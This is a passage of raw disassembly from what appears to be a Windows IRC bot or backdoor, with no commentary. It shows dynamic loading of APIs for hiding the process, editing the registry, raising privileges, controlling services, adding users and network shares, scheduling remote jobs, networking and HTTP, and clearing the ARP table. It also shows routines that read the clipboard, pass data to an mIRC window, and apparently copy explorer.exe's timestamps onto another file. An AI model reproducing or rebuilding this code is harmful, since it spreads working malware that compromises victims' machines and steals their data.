dword_42B2BC, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_42B2E8, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_42B354, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_42B430, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_42B484, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_42B314, eax call esi ; GetProcAddress cmp dword_42B47C, ebx mov dword_42B300, eax jz short loc_4046EE cmp dword_42B3F4, ebx jz short loc_4046EE cmp dword_42B3D8, ebx jz short loc_4046EE cmp dword_42B30C, ebx jz short loc_4046EE cmp dword_42B2E8, ebx jz short loc_4046EE cmp dword_42B354, ebx jz short loc_4046EE cmp dword_42B430, ebx jz short loc_4046EE cmp dword_42B484, ebx jz short loc_4046EE cmp dword_42B314, ebx jz short loc_4046EE cmp eax, ebx jnz short loc_4046F8 loc_4046EE: ; CODE XREF: sub_4045F0+B8j ; sub_4045F0+C0j ... mov dword_42B488, 1 loc_4046F8: ; CODE XREF: sub_4045F0+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_42B408, eax jz short loc_404725 push 1 push ebx call eax ; GetDiskFreeSpaceExA jmp short loc_404725 ; --------------------------------------------------------------------------- loc_404710: ; CODE XREF: sub_4045F0+1Dj call dword_417044 ; RtlGetLastWin32Error mov dword_42B48C, eax mov dword_42B488, 1 loc_404725: ; CODE XREF: sub_4045F0+117j ; sub_4045F0+11Ej push offset aUser32_dll ; "user32.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4047E0 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_42B42C, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_42B3E0, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_42B378, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_42B480, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_42B3A4, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_42B3C4, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_42B424, eax call esi ; GetProcAddress cmp dword_42B42C, ebx mov dword_42B330, eax jz short loc_4047EB cmp dword_42B3E0, ebx jz short loc_4047EB cmp dword_42B378, ebx jz short loc_4047EB cmp dword_42B480, ebx jz short loc_4047EB cmp dword_42B3A4, ebx jz short loc_4047EB cmp dword_42B3C4, ebx jz short loc_4047EB cmp dword_42B424, ebx jz short loc_4047EB cmp eax, ebx jnz short loc_4047F5 jmp short loc_4047EB ; --------------------------------------------------------------------------- loc_4047E0: ; CODE XREF: sub_4045F0+144j call dword_417044 ; RtlGetLastWin32Error mov dword_42B494, eax loc_4047EB: ; CODE XREF: sub_4045F0+1B8j ; sub_4045F0+1C0j ... mov dword_42B490, 1 loc_4047F5: ; CODE XREF: sub_4045F0+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404990 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_42B440, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_42B38C, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_42B3F8, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_42B2F8, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_42B350, eax call esi ; GetProcAddress cmp dword_42B440, ebx mov dword_42B3B0, eax jz short loc_404880 cmp dword_42B38C, ebx jz short loc_404880 cmp dword_42B3F8, ebx jz short loc_404880 cmp dword_42B2F8, ebx jz short loc_404880 cmp dword_42B350, ebx jz short loc_404880 cmp eax, ebx jnz short loc_40488A loc_404880: ; CODE XREF: sub_4045F0+26Aj ; sub_4045F0+272j ... mov dword_42B498, 1 loc_40488A: ; CODE XREF: sub_4045F0+28Ej push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_42B3B8, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_42B394, eax call esi ; GetProcAddress cmp dword_42B3B8, ebx mov dword_42B43C, eax jz short loc_4048C5 cmp dword_42B394, ebx jz short loc_4048C5 cmp eax, ebx jnz short loc_4048CF loc_4048C5: ; CODE XREF: sub_4045F0+2C7j ; sub_4045F0+2CFj mov dword_42B498, 1 loc_4048CF: ; CODE XREF: sub_4045F0+2D3j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_42B3C8, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_42B2D4, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_42B2DC, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_42B338, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_42B33C, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_42B2F0, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_42B398, eax call esi ; GetProcAddress cmp dword_42B3C8, ebx mov dword_42B2E0, eax jz short loc_404973 cmp dword_42B2D4, ebx jz short loc_404973 cmp dword_42B2DC, ebx jz short loc_404973 cmp dword_42B338, ebx jz short loc_404973 cmp dword_42B33C, ebx jz short loc_404973 cmp dword_42B2F0, ebx jz short loc_404973 cmp dword_42B398, ebx jz short loc_404973 cmp eax, ebx jnz short loc_40497D loc_404973: ; CODE XREF: sub_4045F0+34Dj ; sub_4045F0+355j ... mov dword_42B498, 1 loc_40497D: ; CODE XREF: sub_4045F0+381j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_42B2D8, eax jnz short loc_4049A5 jmp short loc_40499B ; --------------------------------------------------------------------------- loc_404990: ; CODE XREF: sub_4045F0+210j call dword_417044 ; RtlGetLastWin32Error mov dword_42B49C, eax loc_40499B: ; CODE XREF: sub_4045F0+39Ej mov dword_42B498, 1 loc_4049A5: ; CODE XREF: sub_4045F0+39Cj push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404A71 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_42B3C0, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_42B414, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_42B41C, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_42B3DC, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_42B318, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_42B2CC, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_42B418, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_42B2B8, eax call esi ; GetProcAddress cmp dword_42B3C0, ebx mov dword_42B348, eax jz short loc_404A7C cmp dword_42B414, ebx jz short loc_404A7C cmp dword_42B41C, ebx jz short loc_404A7C cmp dword_42B3DC, ebx jz short loc_404A7C cmp dword_42B318, ebx jz short loc_404A7C cmp dword_42B2CC, ebx jz short loc_404A7C cmp dword_42B418, ebx jz short loc_404A7C cmp dword_42B2B8, ebx jz short loc_404A7C cmp eax, ebx jnz short loc_404A86 jmp short loc_404A7C ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4045F0+3C0j call dword_417044 ; RtlGetLastWin32Error mov dword_42B4A4, eax loc_404A7C: ; CODE XREF: sub_4045F0+441j ; sub_4045F0+449j ... mov dword_42B4A0, 1 loc_404A86: ; CODE XREF: sub_4045F0+47Dj push offset aWs2_32_dll ; "ws2_32.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404E4F push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_42B35C, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_42B474, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_42B308, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_42B2E4, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_42B384, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_42B370, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_42B344, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_42B450, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_42B46C, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_42B380, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_42B45C, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_42B410, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_42B3D4, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_42B3D0, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_42B324, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_42B31C, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_42B420, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_42B434, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_42B3EC, eax call esi ; GetProcAddress mov dword_42B3AC, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_42B400, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_42B3BC, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_42B3FC, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_42B464, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_42B3B4, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_42B37C, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_42B3E8, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_42B454, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_42B390, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_42B340, eax call esi ; GetProcAddress cmp dword_42B35C, ebx mov dword_42B468, eax jz loc_404D36 cmp dword_42B474, ebx jz loc_404D36 cmp dword_42B308, ebx jz loc_404D36 cmp dword_42B384, ebx jz loc_404D36 cmp dword_42B370, ebx jz loc_404D36 cmp dword_42B344, ebx jz loc_404D36 cmp dword_42B450, ebx jz loc_404D36 cmp dword_42B46C, ebx jz loc_404D36 cmp dword_42B380, ebx jz loc_404D36 cmp dword_42B45C, ebx jz loc_404D36 cmp dword_42B410, ebx jz loc_404D36 cmp dword_42B3D4, ebx jz short loc_404D36 cmp dword_42B3D0, ebx jz short loc_404D36 cmp dword_42B324, ebx jz short loc_404D36 cmp dword_42B420, ebx jz short loc_404D36 cmp dword_42B434, ebx jz short loc_404D36 cmp dword_42B3EC, ebx jz short loc_404D36 cmp dword_42B3AC, ebx jz short loc_404D36 cmp dword_42B400, ebx jz short loc_404D36 cmp dword_42B3BC, ebx jz short loc_404D36 cmp dword_42B3FC, ebx jz short loc_404D36 cmp dword_42B464, ebx jz short loc_404D36 cmp dword_42B3B4, ebx jz short loc_404D36 cmp dword_42B37C, ebx jz short loc_404D36 cmp dword_42B3E8, ebx jz short loc_404D36 cmp dword_42B454, ebx jz short loc_404D36 cmp dword_42B390, ebx jz short loc_404D36 cmp eax, ebx jnz short loc_404D40 loc_404D36: ; CODE XREF: sub_4045F0+644j ; sub_4045F0+650j ... mov dword_42B4A8, 1 loc_404D40: ; CODE XREF: sub_4045F0+744j mov ebp, dword_417044 loc_404D46: ; CODE XREF: sub_4045F0+876j push offset aWininet_dll ; "wininet.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404E6B push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_42B32C, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_42B2C0, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_42B3A0, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_42B360, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_42B3A8, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_42B374, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_42B2FC, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_42B2F4, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_42B304, eax call esi ; GetProcAddress cmp dword_42B32C, ebx mov ecx, dword_42B374 mov dword_42B404, eax jz short loc_404E2B cmp dword_42B2C0, ebx jz short loc_404E2B cmp dword_42B3A0, ebx jz short loc_404E2B cmp dword_42B360, ebx jz short loc_404E2B cmp dword_42B3A8, ebx jz short loc_404E2B cmp ecx, ebx jz short loc_404E2B cmp dword_42B2FC, ebx jz short loc_404E2B cmp dword_42B2F4, ebx jz short loc_404E2B cmp dword_42B304, ebx jz short loc_404E2B cmp eax, ebx jnz short loc_404E35 loc_404E2B: ; CODE XREF: sub_4045F0+7F9j ; sub_4045F0+801j ... mov dword_42B4B0, 1 loc_404E35: ; CODE XREF: sub_4045F0+839j cmp ecx, ebx jz short loc_404E82 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_42B388, eax jnz short loc_404E82 jmp short loc_404E7C ; --------------------------------------------------------------------------- loc_404E4F: ; CODE XREF: sub_4045F0+4A5j mov ebp, dword_417044 call ebp ; RtlGetLastWin32Error mov dword_42B4AC, eax mov dword_42B4A8, 1 jmp loc_404D46 ; --------------------------------------------------------------------------- loc_404E6B: ; CODE XREF: sub_4045F0+765j call ebp ; RtlGetLastWin32Error mov dword_42B4B4, eax mov dword_42B4B0, 1 loc_404E7C: ; CODE XREF: sub_4045F0+85Dj mov dword_42B388, ebx loc_404E82: ; CODE XREF: sub_4045F0+847j ; sub_4045F0+85Bj push offset aNetapi32_dll ; "netapi32.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404F7C push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_42B2EC, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_42B2C8, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_42B334, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_42B364, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_42B460, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_42B320, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_42B2D0, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_42B2C4, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_42B34C, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_42B428, eax call esi ; GetProcAddress cmp dword_42B2EC, ebx mov dword_42B3E4, eax jz short loc_404F83 cmp dword_42B2C8, ebx jz short loc_404F83 cmp dword_42B334, ebx jz short loc_404F83 cmp dword_42B364, ebx jz short loc_404F83 cmp dword_42B460, ebx jz short loc_404F83 cmp dword_42B320, ebx jz short loc_404F83 cmp dword_42B2D0, ebx jz short loc_404F83 cmp dword_42B2C4, ebx jz short loc_404F83 cmp dword_42B34C, ebx jz short loc_404F83 cmp dword_42B428, ebx jz short loc_404F83 cmp eax, ebx jnz short loc_404F8D jmp short loc_404F83 ; --------------------------------------------------------------------------- loc_404F7C: ; CODE XREF: sub_4045F0+8A1j call ebp ; RtlGetLastWin32Error mov dword_42B4C4, eax loc_404F83: ; CODE XREF: sub_4045F0+93Cj ; sub_4045F0+944j ... mov dword_42B4C0, 1 loc_404F8D: ; CODE XREF: sub_4045F0+988j push offset aDnsapi_dll ; "dnsapi.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_404FC6 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_42B310, eax call esi ; GetProcAddress cmp dword_42B310, ebx mov dword_42B3CC, eax jz short loc_404FCD cmp eax, ebx jnz short loc_404FD7 jmp short loc_404FCD ; --------------------------------------------------------------------------- loc_404FC6: ; CODE XREF: sub_4045F0+9ACj call ebp ; RtlGetLastWin32Error mov dword_42B4CC, eax loc_404FCD: ; CODE XREF: sub_4045F0+9CEj ; sub_4045F0+9D4j mov dword_42B4C8, 1 loc_404FD7: ; CODE XREF: sub_4045F0+9D2j push offset aIphlpapi_dll ; "iphlpapi.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_405010 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_42B44C, eax call esi ; GetProcAddress cmp dword_42B44C, ebx mov dword_42B448, eax jz short loc_405017 cmp eax, ebx jnz short loc_405021 jmp short loc_405017 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_4045F0+9F6j call ebp ; RtlGetLastWin32Error mov dword_42B4D4, eax loc_405017: ; CODE XREF: sub_4045F0+A18j ; sub_4045F0+A1Ej mov dword_42B4D0, 1 loc_405021: ; CODE XREF: sub_4045F0+A1Cj push offset aMpr_dll ; "mpr.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_405084 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_42B478, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_42B470, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_42B438, eax call esi ; GetProcAddress cmp dword_42B478, ebx mov dword_42B328, eax jz short loc_40508B cmp dword_42B470, ebx jz short loc_40508B cmp dword_42B438, ebx jz short loc_40508B cmp eax, ebx jnz short loc_405095 jmp short loc_40508B ; --------------------------------------------------------------------------- loc_405084: ; CODE XREF: sub_4045F0+A40j call ebp ; RtlGetLastWin32Error mov dword_42B4DC, eax loc_40508B: ; CODE XREF: sub_4045F0+A7Cj ; sub_4045F0+A84j ... mov dword_42B4D8, 1 loc_405095: ; CODE XREF: sub_4045F0+A90j push offset aShell32_dll ; "shell32.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4050CE push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_42B358, eax call esi ; GetProcAddress cmp dword_42B358, ebx mov dword_42B444, eax jz short loc_4050D5 cmp eax, ebx jnz short loc_4050DF jmp short loc_4050D5 ; --------------------------------------------------------------------------- loc_4050CE: ; CODE XREF: sub_4045F0+AB4j call ebp ; RtlGetLastWin32Error mov dword_42B4E4, eax loc_4050D5: ; CODE XREF: sub_4045F0+AD6j ; sub_4045F0+ADCj mov dword_42B4E0, 1 loc_4050DF: ; CODE XREF: sub_4045F0+ADAj push offset aOdbc32_dll ; "odbc32.dll" call dword_417084 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40516C push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_42B40C, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_42B458, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_42B39C, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_42B368, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_42B3F0, eax call esi ; GetProcAddress cmp dword_42B40C, ebx mov dword_42B36C, eax jz short loc_405173 cmp dword_42B458, ebx jz short loc_405173 cmp dword_42B39C, ebx jz short loc_405173 cmp dword_42B368, ebx jz short loc_405173 cmp dword_42B3F0, ebx jz short loc_405173 cmp eax, ebx jnz short loc_40517D jmp short loc_405173 ; --------------------------------------------------------------------------- loc_40516C: ; CODE XREF: sub_4045F0+AFEj call ebp ; RtlGetLastWin32Error mov dword_42B4EC, eax loc_405173: ; CODE XREF: sub_4045F0+B54j ; sub_4045F0+B5Cj ... mov dword_42B4E8, 1 loc_40517D: ; CODE XREF: sub_4045F0+B78j pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_4045F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405185 proc near ; CODE XREF: sub_406BAB+8F7p ; sub_406BAB+922p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_405210 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_405210 cmp [ebp+arg_8], esi jz short loc_405210 cmp byte ptr [eax], 0 jz short loc_405210 push ebx push edi call sub_4160B0 mov ebx, eax pop ecx test ebx, ebx jz short loc_40520B push [ebp+arg_4] push edi call sub_40CE60 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405204 sub eax, edi push eax push edi push ebx call sub_40B110 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_40B5B0 push eax push [ebp+arg_8] push ebx call sub_40AF90 push [ebp+arg_4] call sub_40B5B0 add eax, esi push eax push ebx call sub_40CD80 push ebx push edi call sub_40CD70 add esp, 30h mov esi, edi loc_405204: ; CODE XREF: sub_405185+3Cj push ebx call sub_40B771 pop ecx loc_40520B: ; CODE XREF: sub_405185+2Bj mov eax, esi pop ebx jmp short loc_405212 ; --------------------------------------------------------------------------- loc_405210: ; CODE XREF: sub_405185+Cj ; sub_405185+13j ... xor eax, eax loc_405212: ; CODE XREF: sub_405185+89j pop edi pop esi pop ebp retn sub_405185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405216 proc near ; CODE XREF: sub_406A2F+E9p var_960 = dword ptr -960h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 960h push ebx push esi push edi xor ebx, ebx push 960h lea eax, [ebp+var_960] push ebx push eax call sub_40B630 mov esi, [ebp+arg_0] push esi call sub_40B5B0 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_40524E or eax, 0FFFFFFFFh jmp short loc_4052B5 ; --------------------------------------------------------------------------- loc_40524E: ; CODE XREF: sub_405216+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_960], esi jle short loc_40526F loc_40525A: ; CODE XREF: sub_405216+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_405267 cmp dl, 0Dh jnz short loc_40526A loc_405267: ; CODE XREF: sub_405216+4Aj mov [ecx+esi], bl loc_40526A: ; CODE XREF: sub_405216+4Fj inc ecx cmp ecx, eax jl short loc_40525A loc_40526F: ; CODE XREF: sub_405216+42j xor edx, edx cmp eax, ebx jle short loc_405297 loc_405275: ; CODE XREF: sub_405216+7Fj cmp [edx+esi], bl jnz short loc_405292 lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_405292 cmp edi, 258h jge short loc_405297 mov [ebp+edi*4+var_960], ecx inc edi loc_405292: ; CODE XREF: sub_405216+62j ; sub_405216+6Aj inc edx cmp edx, eax jl short loc_405275 loc_405297: ; CODE XREF: sub_405216+5Dj ; sub_405216+72j cmp [ebp+arg_4], ebx jz short loc_4052B3 lea eax, [ebp+var_960] push 960h push eax push [ebp+arg_4] call sub_40B210 add esp, 0Ch loc_4052B3: ; CODE XREF: sub_405216+84j mov eax, edi loc_4052B5: ; CODE XREF: sub_405216+36j pop edi pop esi pop ebx leave retn sub_405216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052BA proc near ; CODE XREF: sub_406BAB+1EA5p ; sub_406BAB+2618p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_417044 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_417090 ; FormatMessageA lea eax, [ebp+var_100] loc_4052F3: ; CODE XREF: sub_4052BA+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4052FF cmp cl, 9 jnz short loc_405302 loc_4052FF: ; CODE XREF: sub_4052BA+3Ej inc eax jmp short loc_4052F3 ; --------------------------------------------------------------------------- loc_405302: ; CODE XREF: sub_4052BA+43j ; sub_4052BA+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40531C mov cl, [eax] cmp cl, 2Eh jz short loc_405302 cmp cl, 21h jl short loc_405302 loc_40531C: ; CODE XREF: sub_4052BA+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_42B4F8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_40BDE7 add esp, 18h mov eax, esi pop esi leave retn sub_4052BA endp ; =============== S U B R O U T I N E ======================================= sub_405344 proc near ; CODE XREF: sub_406BAB+2DE6p push esi push 0 call dword_42B3A4 ; OpenClipboard test eax, eax jz short loc_40537B push 1 call dword_42B3C4 ; GetClipboardData mov esi, eax test esi, esi jz short loc_40537B push edi push esi call dword_417098 ; GlobalLock push esi mov edi, eax call dword_417094 ; GlobalUnlock call dword_42B424 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40537B: ; CODE XREF: sub_405344+Bj ; sub_405344+19j xor eax, eax pop esi retn sub_405344 endp ; =============== S U B R O U T I N E ======================================= sub_40537F proc near ; CODE XREF: sub_406BAB+25A5p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_42B3E0 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_4053FB push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4170A4 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4170A0 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_40B0B3 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_42B42C ; SendMessageA push esi push 1 push 4C9h push ebp call dword_42B42C ; SendMessageA push ebx call dword_41709C ; UnmapViewOfFile push edi call dword_417074 ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_4053FD ; --------------------------------------------------------------------------- loc_4053FB: ; CODE XREF: sub_40537F+16j xor eax, eax loc_4053FD: ; CODE XREF: sub_40537F+7Aj pop edi pop esi pop ebp retn sub_40537F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405401 proc near ; CODE XREF: sub_406422+20Cp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_42B484 ; SearchPathA test eax, eax jz short loc_4054A0 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_41707C push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4054A0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4170AC ; GetFileTime push ebx mov ebx, dword_417074 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4054A0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push 